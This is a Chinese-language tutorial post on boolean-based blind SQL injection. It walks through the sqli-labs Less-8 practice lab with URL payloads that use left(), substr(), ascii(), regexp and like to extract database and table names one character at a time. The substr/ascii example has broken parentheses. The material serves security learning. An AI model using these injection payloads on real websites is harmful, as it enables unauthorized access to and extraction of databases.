美文网首页
一步一步学习 Web 安全 2.6 布尔盲注

一步一步学习 Web 安全 2.6 布尔盲注

作者: f1a94e9a1ea7 | 来源:发表于2020-05-22 21:53 被阅读0次

盲注

盲注表示存在 SQL 注入,但是页面只有正常显示和不显示两种,不会像之前直接显示错误或者数据在页面上。

盲注有三种:

  1. 布尔盲注
  2. 延时盲注
  3. DNSlog 注入

布尔盲注

这一节学习的是布尔盲注:在可以注入的页面,构造判断语句,如果页面正常显示,表示判断是正确的,如果页面非正常显示,表示判断是错误的。

常用方法

  • left(a, b):从 a 字符串的左侧截取 b 个字符
  • regexp 操作符
  • like 操作符
  • substr(a, b, c):从 b 位置开始,截取 a 字符的 c 长度
  • ascii():将字符转换为 ascii 值

练习

打开 sqli-labs 的 less-8:

  1. 注入判断
    url 后输入 id:?/id=1,页面返回:you are in
    输入:?id=1',页面没有返回
    输入:?id=1' and '1'='1,页面返回:you are in
    输入:?id=1' and '1'='2,页面没有返回
    至此基本可以判断页面存在 SQL 注入漏洞,而且页面没有报错信息,但是会根据语句正确与否页面会有不同的反馈,所以可以用盲注。

  2. 使用布尔盲注测试

  • 猜测库名:
    输入:?id=1' and left((select database()), 1) = 'a' --+,如果页面没有返回信息,把 a 替换成其他字母,直到页面上返回 you are in,表示库名第一个字符就是那个字母,然后依次这样猜出其他字符
  • 当前库的第一张表的第一个字符:
    输入:?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0, 1), 1)='a' --+,依旧把 a 替换成字母进行猜测,其他查询语句也是依次类推就不写了
  1. 其他关键字和方法
  • regexp:
    ?id=1' and left((select database()), 1) regexp '^a' --+
  • like:
    ?id=1' and left((select database()), 1) like 'users%' --+
  • substr 和 ascii:
    ?id=1' and ascii(substr database()), 1, 1))=115 --+

盲注如果使用手工注入的话非常繁琐,如果有兴趣的话可以自己先学习一下如何使用工具进行盲注。

上一节:一步一步学习 Web 安全 2.5 之报错注入
下一节:一步一步学习 Web 安全 2.7 之时间盲注

相关文章

  • 一步一步学习 Web 安全 2.6 布尔盲注

    盲注 盲注表示存在 SQL 注入,但是页面只有正常显示和不显示两种,不会像之前直接显示错误或者数据在页面上。 盲注...

  • 一步一步学习 Web 安全 2.7 时间盲注

    原理 时间盲注和上一节的布尔盲注其实差不多,只是还多了一个场景:当无论什么情况下都显示一样的页面的时候可以用时间盲...

  • 一步一步学习 Web 安全 2.8 DNSlog 盲注

    原理 可能有人对 DNSlog 比较陌生,先简单说一下 DNS,想深入了解的可以跳转到 DNS 原理入门 进行学习...

  • 盲注

    盲注:1.基于布尔的SQL盲注。 2.基于时间的SQL盲注。 3.基于报错的SQL盲注。 布尔SQL盲注:逻辑判断...

  • Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:

    手工盲注: 手工盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,手工盲注步骤:1.判断是否存在注入,注入...

  • Oracle手工盲注小结

    布尔盲注: 利用substr函数截取字符进行盲注: 猜测用户名: 通过substr、ascii函数进行盲注:注意:...

  • 布尔盲注&&时间盲注

    条件:返回正确或者错误页面 time-based

  • 一步一步学习 Web 安全 2.4 union 联合查询注入

    对 SQL 注入有一个大致的了解后,我们再来深入学习。 SQL 注入有联合查询注入、报错注入、布尔盲注、时间盲注等...

  • sql注入之盲注

    所谓的盲注即是在sql注入后在前端没有出现报错信息,无法判断是否注入成功。所以需要盲注进行判断 盲注分为基于布尔型...

  • 盲注-布尔和时间

    布尔盲注 盲注简介:盲注是注入的一种,它的意思是不知道数据库具体的返回值的情况下对数据库中的内容进行猜解,实施SQ...

网友评论

      本文标题:一步一步学习 Web 安全 2.6 布尔盲注

      本文链接:https://www.haomeiwen.com/subject/yszqahtx.html